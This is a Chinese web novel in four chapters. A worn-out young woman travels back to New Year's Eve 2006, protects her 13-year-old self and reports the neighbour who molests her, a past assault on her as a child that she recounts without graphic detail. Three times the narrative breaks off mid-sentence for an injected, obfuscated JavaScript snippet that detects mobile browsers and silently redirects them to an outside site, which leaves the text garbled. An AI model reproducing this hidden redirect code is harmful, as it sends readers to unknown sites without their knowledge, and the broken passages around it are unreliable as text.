《重回13岁,和自己做姐妹》 1. 第 1 章 周五21:36。 夏黎拖着疲惫的身躯进入地铁站,尽管已经很晚,此刻的地铁站还很热闹,这是著名的5号线也是著名的牛马专列,等车的人依然排着长队,多是加班未归的人,她挑了一个最短的队排在后面。 其实她今天心情很不好,主要是两件事影响的,一是她发了工资,二是她交了房租,不高的工资撞上不菲的房租,一下勾起她心中的焦虑,当她需要花钱却发现没钱时最容易焦虑,眼角瞬间有了酸楚感,思绪不受控地扩散,越想越多,快速回顾自己这失败的人生,深深的无力感袭来。 她不是一个特别自信的人,自认为长相普通,身材也不好,没有光鲜亮丽的名校学历,再加上小时候的经历,敏感自卑又极其容易焦虑内耗,更因为年龄增大,感情事业都没有,心中时常焦虑不安,处在一种很矛盾的感觉中,她想摆脱眼前的困境却又不知道该往哪里努力,于是所有的负面情绪糅杂在一起,汇总成一个念头:她是一个一事无成的失败者。 等车的间隙有些无聊,她掏出手机逛逛论坛,算是为数不多的兴趣爱好,刚点开App,大数据就好像能窥探她的内心,推送的内容全是#26岁存款20万#、#毕业五年买下人生第一套房#、#我也成了一名研究生#等成功的帖子,这些内容就像一把尺子,瞬间让她找到衡量自己的标准,更加认定自己是个废物,心中的焦虑和后悔瞬间汹涌。 她时常在想自己要是年轻几岁该多好,那时候她一定不会变成这样,越想越远,她想到了要是自己在大学时不浪费时间,好好收拾自己,多见见世面也好,再往前想,她要是在小时候就好好学习该多好,就像别人家的孩子一样一路顺畅幸福,也不至于这么大年龄才基本摸到认识社会的大门,太晚了,她差了太多,一切都来不及了,信息偏差是她无法填补的沟壑,越想心态越失衡,越爆炸,越崩溃。 她想发疯,对自己充满恨意,恨不得去撕扯自己的身体。 她也曾怀疑过自己是不是生病了,医生说她是深陷过去走不出来,能救她的只有自己,别人谁都不行。 提示屏上的字体越来越模糊,周围的人影开始交叉移动,幻影重叠在一起,白茫茫一片,,眼前一片天旋地转,夏黎脚下轻微晃动,后退一小步,她摇摇头,想赶走这种不适,可惜没什么用。 最后关头,地铁进站救了她一命,强撑着身体的不适跟着人群走进车厢,她找了一个角落蹲下,双手圈住头紧紧贴在腿上,眼前幽暗的封闭空间让她的意识慢慢变得清晰,不适感一点点消散。 她好像累了,蹲在地上都能睡着。 清醒之间,她猛地想起一天早高峰,倒在地铁上的那个人,她还记得人倒下砸地的声音,也不知道后来人怎么样了。 夏黎很怕自己也会这样,双臂不自觉地加大了力量,这是一种自我保护的表现。 她在车厢交接处,有些晃,晃得她想吃东西。 右胳膊突然传来手指触摸的感觉,她茫然抬头,引入眼帘的是一个很可爱的女孩子。 只见她将巧克力放到夏黎手中,笑了笑,“很甜的。” 夏黎有些震惊,迟疑一秒钟,拿着巧克力,扯嘴笑了,“谢谢。” 都说人脆弱的时候最感性,夏黎此刻就是,那句“很甜的”像是开启了她的感情阀门,情绪充沛到极点,强忍着不让眼泪落下来。 出了地铁站,往小区赶,手中紧紧握着那根巧克力,走着走着突然蹲在地上嚎啕大哭,她也不知道自己为什么会哭,好像也不需要理由。 她就是哭了,反正明天又不需要上班,今天怎么发泄都可以。 哭累了,起身,继续往回赶。 直直躺在床上,眼睛一动不动地盯着房顶,目光涣散没有焦点,她又拿起了手中的巧克力,撕开吃掉,确实很甜。 这一刻,她想明白了,为什么会变成这样,更多的是对生活的疲惫、对自己的不满,对现实的无能为力。 她很颓废也很困惑,怎么能把生活过得这么死气沉沉,她厌倦了现在的生活,繁重的工作,千篇一律的重复和枯燥,早已磨平她所有的棱角和激情。 她现在最羡慕的就是那些活力四射的人,迎面走来都能给人带来好心情,她们身上是有力量有希望的,而不是自己这种无趣的人。 想到这,一颗泪水从眼角无声滑落。 不知过了多久,体内的困意终于被唤醒,昏昏沉沉地进入梦乡,夏黎觉得不对劲,她好像进入了一个奇怪的世界,这里的一切既陌生又熟悉。 穿过一片黑暗,眼前是刺眼的光亮,她下意识护住眼,手掌最先感受到周围环境的变化,是刺骨的冰冷。 她彻底懵了,做梦也会有这么真实的感觉吗? 抬眼望去,周围是厚厚的积雪,耳边充斥着源源不断的爆竹声,几个小孩正在不远处放炮,家家户户都换上了崭新的春联。 种种痕迹表明这应该是春节,可她刚才是在秋天,距离过年还有一段时间。 夏黎现在脑海中满是疑问,她这是到哪了。 抬步往前走,踩在厚厚的积雪上发出吱呀的声音,她回头看着自己留下的脚印,一切都太真实了。 她从未做过这样的梦。 想看下现在是什么时间,手去兜里摸手机,哪里还有手机,只有一个钱包和几个奶糖。 到底什么情况?! 她不想再这样被动,就算是梦也必须醒过来,抬手掐在虎口处,痛感很真实,眼前的景象却没变化。 “我还就不信了。”说完更加用力,虎口处都青了,眼前还是没变化。 这招不行,她就换了一个,用尽力气扇自己一巴掌,能感受到半边脸火辣的痛,但眼前的景象还是没有变。 只有一块雪从树上掉落,摔在她面前。 难道说这不是梦? 她穿越了? 正当她百思不得其解时,一个人从旁边经过,夏黎急忙拦住她,“你好,请问这是在哪?” 那人上下打量她一眼,虽觉得她很奇怪,还是耐心回答,“祁堂。” 她的回答对夏黎来说是巨大的震撼,简直难以置信,急忙抓住她的胳膊确认,“你是说这里是祁堂?” “那还有假?” 夏黎松开那人,突然笑了,她竟然回到了自己的家乡,一个她生命中不可或缺的地方。 再次细细打量周围的环境,也不怪她没有认出来,这好像是她小时候家乡的样子。 “那现在是哪一年?” 夏黎身上还穿着秋天的大衣,那人无奈叹了口气,眼神中充满同情,谁家好人天寒地冻穿这么薄,以为她是离家出走的精神病,说话都温柔了不少。 “2006年的最后一天,明天就是2007年了。” “今天是除夕?” 那人纠正她的用词,“今天是大年三十。” 夏黎知道这是当地习惯性叫法,点点头,“好,谢谢您。” 那人走过去,还感概了一句:“真可怜,大年夜还在街上乱窜。” 夏黎没功夫计较这么多,心中被巨大的喜悦包围,她真的回到了自己小时候,难道是老天给她一次重新来过的机会? 她看了看自己,并不是小时候的样子,怎么重新来过。 难道说让她回到小时候却不让她经历这一切? 顿时思绪乱如麻,理也理不清。 一阵风吹过,冻得她直哆嗦,喷嚏一个接一个。 摸到了兜里的钱包,对她还算仁慈,她跑到信用社取了钱,给自己置办一身棉装,这才往自己家赶。 她想知道自己是以什么样的方式在这里生活。 此刻,她心急如焚,脚下频率逐渐加快,她不知道这里的情况也只能在心里进行各种猜想。 现在看来不是让自己作为经历者回顾那段人生,更像是一个旁观者,重新审视那段经历。 在距离家很近的路口,她渐渐放缓了脚步,目光环顾着周围的一切,喜悦的心情被紧张代替,可能这就是近乡情怯。 这是她曾生活过的地方,但这里的人和事却完全不一样,不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509890|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又是以什么身份存在呢? 面对未知的世界,她不敢贸然走进去,她没有足够的信心和勇气面对。 夏黎站在那犹豫了很久,地上的雪已被她和成雪泥,但她还是没有下定决心。 直到一个身穿红袄,戴着头花的女孩走出来,冷着脸一副闷闷不乐的样子。 夏黎的注意力被她吸引,只见她捡了根树枝在地上写写画画,小脸冻得通红。 许是感受到注视的目光,女孩突然抬起头朝夏黎看来。 当夏黎看清女孩的脸时,脚下一滑,心口开始一阵一阵的抽搐,满腔感情都化为一滴热泪落在雪中。 她真的遇到了小时候的自己。 夏黎有好多话想和她说又怕吓到她,脚步始终无法挪动。 女孩看出她的犹豫,起身朝她跑来,仰起头,眼睛亮晶晶的,问道:“姐姐,你有事吗?” “姐姐?”夏黎轻声嘟囔一句。 她是回到了小时候,但对这里的人来说她是一个陌生人,一个拥有所有记忆的陌生人。 见她迟迟没有说话,女孩用手指轻轻碰碰她,夏黎从自己的遐想中抽离出来,友善一笑,温柔抚摸女孩的头顶。 像是受不了她这么亲昵的动作,女孩后退一步,逃脱她的手掌。 夏黎笑了,小小年纪防范意识还挺强。 “姐姐,你在找人吗?” “对,找一些很重要的人。”夏黎的语气有些伤感。 小姑娘特天真地看着她,“这附近我很熟,你找谁,我帮你找。” 夏黎摇摇头,“我已经找到了。” 女孩眼睛里充满疑惑,觉得这个姐姐真怪,但她还是友好地伸出手,“我叫夏黎,姐姐叫什么?” 夏黎嘴角轻轻蠕动,根本来不及思考,下意识说出自己的名字,“夏黎。” “啊?”小姑娘很吃惊,“姐姐和我叫一样的名字吗?” “不是。”夏黎摇摇头,给自己起了一个新名字,“我叫夏微宁。” “姐姐的名字很好听。” “你的也好听。”夏黎,不,夏微宁,她要让自己接受这个新名字,拉住她的手问道:“这么冷一个人在外面干什么?” “我在等爸爸妈妈,但奶奶说他们在外面打工不回来。” 夏微宁从兜里掏出糖递给她,“很好吃的。” 以前她总会说,如果让我回到小时候,我一定会好好努力,一定要怎么怎么样,可当她真碰到小时候的自己却说不出一句重话,只想给她一个糖,因为她当时已经很苦了。 “姐姐,你是新搬来的吗?我之前怎么没见过你。” “我是今天刚搬来的,以后我们就是邻居了。” 小姑娘很高兴,“那我以后可以每天找你玩吗?” 夏微宁不禁一阵冷汗,不管什么时候,都是那么爱玩,“你是学生,主要任务是学习。” “你说话怎么和我们班主任一样。”小姑娘扫兴地垂下头,“我都13岁了,上七年级,不是小孩子了。” 夏微宁抓住她话里的重点,突然想到什么,心底一阵慌乱,急忙抓住她的胳膊,疾声问道:“你今天晚上是不是要去别人家玩?” 夏黎被她这架势吓到,眼睛中甚至有些恐惧,小声说道:“去梦婷家玩。” 梦婷是她们邻居家的一个小女孩。 果然,还是如此,过去发生的事再次重演,一切都那么熟悉又陌生。 同样的人生轨迹但这次她要做不同的选择。 她骤然松开夏黎的胳膊,必须要阻止即将发生的事,半蹲着看向夏黎,“天太冷,晚上在家不要出来好不好?” “为什么?”小姑娘很是不解,“我们都约好了。” “具体原因我后面再和你解释,但你要相信我,不要出来,过年不要瞎跑,别人家也很忙的。” 小姑娘似懂非懂地点点头。 夏微宁心里还是没底,她必须亲眼看到一切都正常。 她就这样守在路口,确保夏黎晚上不会出来。 2. 第 2 章 夜幕降临,除夕夜正式到来,家家户户忙着庆祝团圆时刻,夏微宁裹紧身上的衣服,吸了吸鼻子,继续猫在路口。 周围陆续传来电视机播放春晚的声音,伴随着饭香和说笑声,年味正浓,肚子配合地叫起来,她这才想起来已经一天没吃过饭了。 再热闹的景象都与她无关,眼睛直直盯着家门口,和别家的热闹相反,家里很冷清,一直没有传出笑声,让除夕夜的仪式感少了点什么。 年夜饭过后,小孩子拿着烟花炮竹出门,身后是成群结队的大人,大家三五成群聚在一起,耳边顿时充满欢声笑语,只不过这份热闹也与她无关。 此时是重中之重,她不敢有丝毫的松懈。 不一会,空中弥漫着浓浓的火药味,夏微宁鼻子很难受,再加上饥饿,整个人都很累,身体疲惫到极点。 值得欣慰的是夏黎真的没有外出,眼看时间过了十点,她这才放心,准备离去,去找住的地方。 抬头望了望空中的月亮,再俯首与地上的影子互动,突然笑了,她这个除夕夜确实挺特别的也很难忘。 她刚离开没多久,黑暗处走出一个人影,悄悄跟在她身后。 夏微宁警惕性本就高,人走在积雪上发出的声音更大,虽然那人有意控制脚下的动作,但她还是听到了。 她往后扭头看了一眼,那人低着头,疾步追她,仅一眼她就认出这人是谁,一个化成灰她都不会忘记的人。 现在街上已经没有多少人,面对强壮的中年男人她是没有胜算的,心里多少有些慌,所以她一直加快步伐,最后直接跑起来,往有光亮的地方跑。 见她跑那人就开始追,眼看距离越来越近,她整个人都在发抖,只恨双腿不能跑得再快点。 越紧张越容易出错,她被脚下的东西绊倒在地,身后的恶魔正对着她张开血盆大口。 夏微宁不由得想起了过去的经历,那种恶心感瞬间充满心房。 她手撑地慢慢起身,强行保持冷静,看向追上来的男人,问道:“你追我干什么?” “谁追你了?这条路又不是只有你能走。” 夏微宁给他一个白眼,转身离去,余光随时打量着后面。 果然,她刚走那人又跟在她身后。 她按照记忆中派出所的方向走,可惜后面那人没给他这个机会。 没走几步,夏微宁就感觉一个黑影将她裹住,牢牢抱住她,两只手穿进她的棉袄里,隔着毛衣去摸她的胸部。 强有力的臂膀,浓浓的臭味都让她直反胃。 过去的事再次重演,她以为帮助夏黎躲过这一切就万事大吉,没想到还是自己再经历一遍。 “放开我,放开。” 她不断挣扎,用力掰开他的手,背后的人没有丝毫松手的意思,她只好用胳膊往后打,边喊救命。 那人怕闹大,这才松手,看了她一眼后离开。 夏微宁怔愣在原地,过去的记忆随着肮脏的手涌上心头。 在她13岁的除夕夜,她去邻居家玩,回家时在离家不远处被那个人猥亵,她永远忘不了那个瞬间。 13岁的她被一个男人隔着毛衣摸胸,他身后是他6岁的女儿,夏微宁还记得自己当时说的话,“你回去吧,快回去吧,梦婷还在那看着呢。” 她当时苦苦哀求,也不知道5岁的女孩能不能明白发生了什么,对13岁的她来说已经是天塌了。 回到家,奶奶坐在床上看电视,她一个人在厕所哭了很久,她不敢和家里人说,觉得这种事很丢人,13岁女孩处理这件事的方法就是与他家保持距离,此后她看到那个人就躲。 这件事被她深埋在心底,成为她难以启齿的秘密,只不过从那一刻开始她觉得自己“脏了”,这种错误的观念如影随形地跟了她十多年,她没有跟任何人说过这事,即便是一件改变她后面人生的事。 本以为时间可以冲淡记忆,可最后发现时间越久她记得越深刻,对于这件事她的记性特别好,好到当时的一切都记得清清楚楚,想忘也忘不掉。 夜深人静时,这些记忆就会跑出来提醒她,折磨她,像沙砾一般,把她的大脑磨得生疼,一点点将她啃食,撕扯,甚至吞没。 过去的她年轻无助,只能独自背负所有的痛楚,但现在她可以坦然面对一切,她的心智已经足够成熟,不会再像之前一样听之任之,无动于衷,拥有了反抗的勇气和回击的能力,她就不会再重蹈过去的屈辱。 到此,心定步坚。 她擦掉眼泪,决绝转身,朝派出所走去。 除夕夜很多民警在外巡查,派出所里只有几个值班民警,夏微宁直接走到门卫处,“你好,我要报警。” 有人把她引到接待室,给她倒了水,她也没客气,直接端起来喝了,这是她今天接收的唯一热源。 民警站在一旁看呆了,又急忙给她倒了一杯。 “谢谢。”夏微宁难为情地抿着嘴,实在难以开口,奈何肚子咕咕乱叫,相比之下面子也就没有那么重要,小声说道:“我一天没吃饭,能麻烦您给我点吃的吗?” “好,你稍等。” 他刚离开,就有一个年轻帅气的警官拿着记录本走进来,眼睛扫过她,点头示意,“是你报警?” “是的。” 她话音刚落,刚才的民警给她送吃的过来,得到许可后把吃的放在她面前。 “谢谢。”夏微宁抓起面包就吃,她顾不了那么多。 “好,我们言归正传。”对面的警官说道:“你就是报案人?姓名。” “我叫夏微宁。” “家庭住址。” 她刚到哪有住址,摇摇头,“没有。” “没有?”盛淮洲有些奇怪,“那你住哪?” “我今天刚到这,还没有住址。”她还特意补充了一下,“手机号也没有。” “身份证号。” 夏微宁咬着嘴唇很是为难,她身份证上的姓名是夏黎,现在说自己叫夏微宁,这也对不上。 盛淮洲看她这样子也猜出个七七八八,“不会身份证也没有吧?” “嗯。”她重重点头,像是为自己的行为增加可信度,随后怯怯说道:“丢了。” “那身份证号总该记得吧?” “我没记住。” …… 盛淮洲简直想笑,竟然在除夕夜碰到个一问三不知的报案人,放下笔诧异看着她,仿佛要把她脸上盯出花,夏微宁毫不在意他的怀疑,理直气壮地接受他的打量,即使心慌也不能表现出来,装也要装得像真的。 盛淮洲刚想继续发问,外面有人进来。 “淮洲,老大有事找你,这里交给我。” 两人简单交流后,盛淮洲走出去。 新来的警官看了眼笔录本,诧异抬头,“你的信息没错吗?” 夏微宁紧张地直吞口水,心想还是如实说吧,去摸自己的身份证,毕恭毕敬的双手递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509891|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,“这是我的身份证。” “你刚才不是说丢了?” “我是太紧张给忘了,对不起。” 他看了眼身份证和她本人对比,确认无误后对比笔录,再次发现问题,“你叫夏黎还是夏微宁?” “夏黎,夏微宁是我想改的名,身份证还没来得及换。” “好吧。”郑睿不再纠结这些,对话回归正题,“因为什么报警?” “有人猥亵我。” “什么时间?” “二十分钟前。” 他停下手中的笔,问:“在什么地方?” “东郊路口。”没等他问,夏微宁直接说道:“他跟踪我,突然抱住我,手在我身上乱摸。” “你看清那个人的样子了吗?” “看清了,而且我知道他叫什么。”夏微宁盯着他,坚定地说出一个名字:“他叫魏战,家就在东郊。” “好,我们现在派人去叫他,你在这等着。” 郑睿走到外面,碰到盛淮洲穿衣出去,问道:“你去哪?” “马上零点,街上缺人手,我过去帮忙。” “我这个案子也缺人。”他本想让盛淮洲和他一起去叫人。 “你叫楚瑜和你一块去,她是女同志,报案人也是女生,处理起来更方便。” “你说得对,我怎么没想到。”郑睿拍了拍脑袋,进屋去叫人,两人开车赶到魏战家。 魏战这边一家人刚睡下,就听到啪啪拍门的声音,骂了几句,披衣起床去开门。 “谁呀?谁呀?大过年干什么呢?”当看清眼前来人时,顿时傻住了,声音也不复刚才的冷静,赔笑道:“警,警察同志,你们找谁?” “有人报案,和你有关,请跟我们走一趟。” 听警察这样说,他心里大概就有数了,整个人都很不自然,慌乱到被门坎绊了一跤,对身后追出来的老婆讪讪一笑,“你在家照顾好孩子,我一会就回来。” “你怎么了?警察为什么来找你?” 他顿时寒着脸呵斥:“嚎什么?非要邻居都听到?” 他媳妇瞬间捂住嘴,扶着门框哭个不停。 魏战眼睛中布满寒意,他没想到那个女人竟然敢报警,早知如此就不该轻易放过她。 夏微宁刚吃饱就听到外面传来的声响,魏战的吵闹声不绝于耳,她嘴角不屑上挑,眼中满是恨意,推出门直接走出去,与魏战面对面站立,两人都恨不得弄死对方。 两人都被请到调解室,郑睿看着魏战问道:“知道为什么把你叫到这吗?” “警察同志,我是个老实人,你们是不是弄错了?” 夏微宁听完冷笑一声,他还老实人。 “你笑什么?”魏战恶人先告状,“警察同志,我根本不认识她。” “仔细回想一下,半个小时前你在干嘛?”楚瑜在一旁补充道。 “我一直在家,吃完年夜饭就在家看春晚,都没出门。” 郑睿盯着他的鞋看了看,“你这样子不像没出门。” 他悻悻收回脚,“刚才去地里,这都是习俗。” 郑睿不想再和他兜圈子,直接挑明,“有人告你猥亵。” “放屁,什么叫猥亵?”他直接拍桌子怒吼,“你们不能冤枉我。” “你别激动,坐下!”郑睿一声呵斥。 夏微宁在一旁听够了,目光灼灼盯着魏战,她不想再陪他浪费时间,索性直接对质。 3. 第 3 章 “不用狡辩,我记得清清楚楚,就是你。” 魏战梗着脖子反驳她,“你少污蔑人,你有什么证据?” “我当然有证据。”夏微宁轻笑道:“我故意跑到一个有监控的地方,只要去调下监控就知道是不是你。” “这我比你熟,压根没有什么监控。”魏战嘴角浮起不屑的弧度,他笃定夏微宁没有证据,只要他咬死不承认,谁都订不了他的罪,想到这他整个人放松下来。 “事情你做了就赖不掉。”夏微宁提高了声音,“大不了我们去让法医检查,我就不信没有人能证明你的罪行。” “罪行?我既没打你又没睡你,哪来的罪行。”他直接看向郑瑞,“警官,我要告她诬陷,她诽谤我。” “少在这恶人先告状,跟踪我、强行猥亵我的都是你。” 他不再理夏微宁,只和警察对话,“你见过这么不要脸的人吗?一个女孩就这么希望别人摸她?真不检点。” “闭嘴。”楚瑜厉声呵斥,“说什么呢?” “我说的不对吗?大过年的她弄这么一出,就是不要脸。” 夏微宁冷笑道:“这世界真稀奇,选择报警保护自己的是不要脸,那像你这样坏事做尽的是什么?” “畜生吗?”夏微宁停顿片刻,缓缓吐出两个字。 这个称呼激怒了魏战,一副要和夏微宁拼命的样子,“再嘴贱我弄死你。” “你弄死谁啊?”郑睿怒了,本来存在感就不高,心里憋着气,现在还当着他的面威胁起来了,“注意你的态度。” 魏战当即赔笑,“警官,我是被这个女人气到了,您别和我一般见识。” 夏微宁也可怜巴巴地看着郑睿,“警官,我说的都是真的,他直接把手伸进我的衣服里摸我的胸,身上现在还有他的手印。” “你撒谎。”魏战反驳道:“隔着毛衣的,哪有手印。” 夏微宁嘴角上挑,挑衅地耸耸肩,站到一旁,把主场交给郑睿。 “警官,你们都听到了,他亲口承认了。” 魏战反应过来急忙否认,“我那是中了她的圈套。” 郑睿没再给他狡辩的机会,直接把人带走询问,楚瑜端杯水放在夏微宁面前,“你很勇敢也很聪明。” “谢谢。” 夏微宁心里对楚瑜是有好感的,毕竟她刚才在维护自己。 不一会,郑睿带着魏战出来,“他什么都承认了,但希望能与你达成和解。” “我真的认识到错误了,保证以后不会再靠近你,并给你500块钱的赔偿。” 夏微宁听完直接大笑,毫不掩饰言语中的讥讽,“我好像听到一个巨大的笑话,谁稀罕你这点破钱,我只要你得到应有的处罚。” “大过年的,算了吧,得饶人处且饶人。” “大过年的怎么了,你作恶时怎么没想过大过年的?” 夏微宁目标很坚定,她不会接受和解的,她要的是一个交代,给现在、过去的自己一个交代,不然她还是摆脱不了这个阴影,当她豁出一切选择报警时,结果就不单纯是结果,更是她治病的药。 她这边话音刚落,魏战老婆哭着跑进来,夏微宁冷冷一瞥,后退两步,避免与她发生冲突。 “警官,您这是不是弄错了?俺家这个是不会干这种事的。” 郑睿耐心安抚她,“你别激动,事情我们都调查清楚了,魏战确实存在猥亵行为。” 她听完立马把话锋转向夏微宁,“都是你,是你勾引我老公的。” 夏微宁白眼简直要翻上天,嗤笑一声,满是不屑,“我都懒得理你,你喜欢垃圾,不要觉得别人和你一样。” “你少在这装清高,看你也不是我们本地人,你来之前从来没发生过这种事,你一来就发生,谁知道你背地里是做什么的。” 夏微宁看着眼前对她破口大骂的女人,她没什么想对骂的心思,只觉得这人也挺可悲的,把一个垃圾当宝,做一个衷心的伥鬼。 “警官。”夏微宁看向郑睿,“我不接受和解,只希望他能得到应有的处罚。” “你放心,我们会秉公办理的。” “谢谢,我现在可以离开吗?” “可以,只不过我们现在人手不够,无法送你。” “不用送。”夏微宁笑了笑,“我自己可以回去。” “你别走,给我把话说清楚。”魏战老婆要来抓她,被楚瑜拉住。 夏微宁裹紧身上的衣服,走出派出所,耳边是接连不断的爆竹声,空中烟花正在争奇斗艳,她抬头看了一会,索然无味,处理完事情,心里空落落的,无家可归的人又该去哪,无聊地走在街上,有一下没一下地踢着地上的雪。 一辆车从她身旁经过,停在派出所门口,盛淮洲从车上下来,目光向一旁扫射,只看到一个孤寂的背影。 走了很久,她终于走累了,找一家宾馆开了房,又买了泡面,就这样凑合着度过了她重回这里的第一个春节。 她一个人痛苦的蜷缩在床上,外面烟花声炮竹声不断,洋溢着喜悦,只不过这种热闹与她的痛苦形成强烈的对比。 第二天得知魏战被拘留7天,罚款1000元,这个消息在附近炸了街,成为所有人茶余饭后的谈资,她心里终于舒坦了。 还有一点就是警察对夏微宁的信息做了保护处理,所以没有让她遭受非议,这让她很是感动。 夏微宁抽空去户籍中心改姓名,回来时被魏战老婆拦住,“吆,这是谁呀,哪来的小蹄子?” 夏微宁和她多说一句都觉得掉价,没有接话,想从一旁绕走,却被她抓住胳膊。 “放手!” “我偏不放,还要让大家都来看看小贱货长什么样子。”说着对围观的人群喊道:“大家都来看看,这个女的污蔑我家男人。” “他自己主动承认的,谁能污蔑他。” “那也是你先勾引他的,你说你年纪轻轻不学好。” 夏微宁就算是个泥菩萨,此刻也气得不行,奋力甩开她,讥讽道:“你给我听清楚了,你老公就是个色鬼,在我眼中就是臭狗屎,也就你把他当回事,就算全世界就这么一个男人,我自杀都不会勾引他,他不配,我觉得恶心。” 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509892|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微宁直接把她吼住了,惊怔片刻,突然坐在地上哭天喊地。 “我的天爷,没法活了,我们全家都要被她逼死了。” 这些话对夏微宁不起作用,她面无表情地听着,脸上始终淡淡的,不认为这事和自己有什么关系。 她刚抬脚要走,魏战老婆突然抱住她的腿,“你为什么不能放过他?因为你这件事我们在亲戚朋友那都抬不起头,都不敢走亲戚。” 夏微宁知道过年是很庄重的时刻,一瞬间仿佛给人间装上了道德枷锁,没有人敢说不吉利的话,再暴躁的家长这两天也不会打孩子骂孩子,某种意义上人类文明巅峰一定是过年,人们都给以神圣的祝福,以祈求美好的来年,大过年被抓到派出所,会被认为是最晦气的事。 不过这一切与她无关。 夏微宁蹲下来挑起她的下巴,冷冷开口:“现在知道影响不好,早干什么去了,这件事谁都不怪,罪魁祸首就是你老公,一切都是他咎由自取。” “你也没有受到什么伤害,为什么不能放过他?” “放过他?他有放过别人吗?你知道一个十几岁的女孩因为他活在痛苦中,直接改变了人生轨迹,在午夜梦回时都有难以放下的执念是一种什么感觉吗?” 夏微宁说完起身,“你不能只在自己受到惩罚时才说不公。” 魏战老婆诧异地看着她,总觉得哪里怪怪的,“你少在这忽悠我,什么小女孩,都是你用来骗人的。” 她不信夏微宁也懒得再解释,只说了一句:“再敢编排我,我一定告你,我不介意让你们两口子都尝尝被拘留的滋味。” “你……” 魏战老婆在后面气得直跺脚,后槽牙都快咬碎了。 “你不来之前从没出过这种事,说明你才是那个不安分的人,我们这附近都是知根知底的老街坊,谁知道你以前是干什么的。” 夏微宁真的烦了,走到一处高台阶上,扯着嗓子对周围喊道:“我做人本本分分,做事堂堂正正,本不想多生事端,奈何他家人一直造谣中伤我。”说完看向魏战老婆,“我干干净净,你再给我泼脏水也改变不了你老公是个猥亵犯。” 夏微宁感觉神清气爽,终于把心里话都说出来了,这对她来说是勇敢的一步。 她认为最关键的一点是对这里来说她是一个陌生人,没有包袱没有压力,不需要背负任何人的期望,所以敢鱼死网破,如果是在曾经的世界,她还有勇气跨出这一步吗? 不知道。 也许没有吧。 那时她需要考虑太多因素,瞻前顾后缺少决策的魄力,习惯了忍、委曲求全。 这是一个非常不好的习惯。 没有人值得你委屈自己。 她这样告诉自己,收拾好心情,朝自己家的方向走去,只不过人刚到家门口,眼泪就像线珠一样连连不断。 这里的一切都是那么熟悉真实,仿佛她从未离开,就连发生的事都一样,同样问题也来了。 已知的事她可以找到最优解,那未知的意外呢? 她该怎么去解决,是现在摆在她面前最大的难题。 4. 第 4 章 她有一个优点,就是自洽能力特别强,短短几秒已经想好答案。 管他呢,兵来将挡水来土掩,不焦虑未知的事,这次她会勇敢、坚定,守护好自己的家人,一点点打开心结。 这是她给自己制定的未来行事的基准。 心中思绪好不容易厘清,脚下步伐却更加凌乱,她泪眼婆娑地看着面前一棵棵枯败的树木,过去的记忆一窝蜂涌上来。 这些树都是小时候奶奶带着她种的,夏天的时候,这些树组成一个巨大的树荫,很多人都会端着碗过来吃饭,一边乘凉一边说话,时不时有微风掠过,夹杂着沁人心脾的花香,这里也就成了著名的人场,小孩在树上绑满吊床,玩着玩着就睡着了,大人们支起牌桌、棋桌,偷闲片刻,等到四五点就各自去忙了。 她那时候只觉得这种生活很无聊,心心念念想长大,现在才发现这种生活多可贵。 夏微宁走过去,手摸着树,眼泪组成雨幕,一点点遮住她的视线,直到一个老人从屋里走出来,站在不远处问她:“姑娘,你怎么了?” 听到熟悉的声音,她猛然回首,急切去找声音的来源,看清面前的站的人时,胸口像被巨大的石头狠狠撞击,哭得越来越凶,一度上气不接下气。 她这样子把老人吓到了,急忙过来看她,“你怎么了?” 夏微宁只顾着哭,好半晌才渐渐平息情绪,舒口气,抓住老人的手。 “奶奶。” 她这声称呼里包含的感情过于浓烈,把老人吓了一跳,即使这样还是温柔询问:“你是谁家的姑娘,遇到啥难事了?” “我姓夏——”她本想说一句我是您的孙女,话到嘴边紧急改口,“叫夏微宁,觉得您很像我的奶奶,这才失控,希望没吓到您。” “不碍事。”老人抚摸着她的手,“你奶奶不在了?” 夏微宁没说话,没承认也没否认,老人就自动理解为承认了,便宽慰她,“看你哭成这个样子,应该和你奶奶关系很好吧?” “嗯。”她从鼻子里发出一个音,眼泪又开始不要钱似的往下掉,“我对不起我奶奶。” 老人盯着她看了一瞬,没有多问,这是人家的伤心事,分寸还是要注意的。 气氛一时有些尴尬,夏微宁主动开口:“奶奶,我是刚来到这里,遇到您也是一种缘分,要不以后您就把我当亲孙女吧。” 老人笑了,“我白捡这么大的一个孙女,可是占便宜了。” “哪的话,是我占便宜,因为我又有奶奶了。” 一句话又勾起老人的伤感,轻轻拍着夏微宁的手,拉她进屋。 “你先坐。” 把她安顿好,奶奶进屋去给她找花生、糖等小零食。 “快尝尝,都是过年买的。” 夏微宁剥了一个糖塞进嘴里,“很甜。” 